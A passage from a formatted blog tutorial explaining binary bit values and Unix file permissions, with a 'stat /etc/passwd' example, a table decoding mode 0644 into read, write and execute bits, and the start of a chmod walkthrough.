normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> to the resulting number, where 0b100</span><span style="color: red; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">1</span><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> <- this is the starting bit and it’s bit number is </span><span style="color: red; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="color: red; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0b</span><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> - prefix to identify binary number)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: red; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0b</span><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0001 == 2**0 == 1 (decimal)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: red; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0b</span><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0010 == 2**1 == 2 (decimal)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: red; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0b</span><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0100 == 2**2 == 4 (decimal)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: red; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0b</span><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">1000 == 2**3 == 8 (decimal)</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">So practically, we can add above numbers in binary:</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">--------------------------------</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0001 (1) | 0011 (3) | 0111 (7)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> + | + | +</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0010 (2) | 0100 (4) | 1000 (8)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> = | = | =</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0011 (3) | 0111 (7) | 1111 (15)</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">4 enabled bits in number 0b1111 could be converted to decimal with this formula: </span><span style="color: #202122; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">0b</span><span style="color: red; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">1</span><span style="color: #202122; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">111 == 2**(bit_number+1)-1 == 15</span><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">, </span><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">where </span><span style="color: red; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">RED</span><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> bit number is </span><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">3</span><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> (starting from </span><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">0</span><span style="color: #202122; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"><span style="display: inline-block; position: relative; width: 100px;"></span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">Back to file permissions:</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Let’s issue another command to check file permissions:</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: blue; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">$</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #efefef; color: blue; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">stat /etc/passwd</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> File: /etc/passwd</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> Size: 2829 </span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Blocks: 8 IO Block: 4096 regular file</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Device: fd00h/64768d</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Inode: 30937510 Links: 1</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">Access: (</span><span style="color: red; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">0644</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/-rw-r--r--) Uid: (0/root) Gid: (0/root)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Access: 2021-08-07 15:47:01.513224885 +0300</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Modify: 2021-07-29 15:46:25.903259562 +0300</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Change: 2021-07-29 15:46:25.903259562 +0300</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> Birth: -</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Here we can see some number (</span><span style="color: red; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">in red</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">) representing file permissions: 0644</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">0644</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> is the numeric representation of </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">-rw-r--r--</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">.</span></p><br /><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none; table-layout: fixed; width: 468pt;"><colgroup><col></col><col></col><col></col><col></col><col></col><col></col><col></col><col></col><col></col></colgroup><tbody><tr style="height: 21pt;"><td colspan="3" style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">OWNER</span></p></td><td colspan="3" style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">GROUP</span></p></td><td colspan="3" style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">ANY</span></p></td></tr><tr style="height: 0pt;"><td style="background-color: #6aa84f; border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">R</span></p></td><td style="background-color: #6aa84f; border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">W</span></p></td><td style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">X</span></p></td><td style="background-color: #6aa84f; border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">R</span></p></td><td style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">W</span></p></td><td style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">X</span></p></td><td style="background-color: #6aa84f; border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">R</span></p></td><td style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">W</span></p></td><td style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">X</span></p></td></tr><tr style="height: 0pt;"><td style="background-color: #6aa84f; border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">1</span></p></td><td style="background-color: #6aa84f; border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">1</span></p></td><td style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0</span></p></td><td style="background-color: #6aa84f; border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">1</span></p></td><td style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0</span></p></td><td style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0</span></p></td><td style="background-color: #6aa84f; border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">1</span></p></td><td style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0</span></p></td><td style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0</span></p></td></tr><tr style="height: 21pt;"><td colspan="3" style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">6</span></p></td><td colspan="3" style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">4</span></p></td><td colspan="3" style="border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">4</span></p></td></tr></tbody></table></div><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Each group represents 3 bits that are Read (R) Write (W) Execute(X) which may be in enabled (1) or in disabled (0) state.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Each 3 bit forms a binary number containing 3 bits only.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">It is possible to change file permissions with the </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">chmod</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> command using these numbers.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">For example:</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">We want following permissions:</span></p><ol style="margin-bottom: 0; margin-top: 0; padding-inline-start: 48px;"><li aria-level="1" dir="ltr" style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: decimal; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Owner is allowed to READ, WRITE, EXECUTE</span></p></li><li aria-level="1" dir="ltr" style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: decimal; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Group is allowed to EXECUTE</span></p></li><li aria-level="1" dir="ltr" style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: decimal; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">ANY is allowed to EXECUTE</span></p></li></ol><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">For the OWNER part, we enable all bits: </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">111</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; 